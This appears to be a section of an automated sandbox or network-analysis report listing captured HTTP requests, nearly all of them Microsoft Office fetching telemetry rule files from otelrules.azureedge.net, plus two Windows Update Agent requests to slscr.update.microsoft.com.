Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bY3mL7oZgPN4r+r&MD=+LovX38k HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bY3mL7oZgPN4r+r&MD=+LovX38k HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
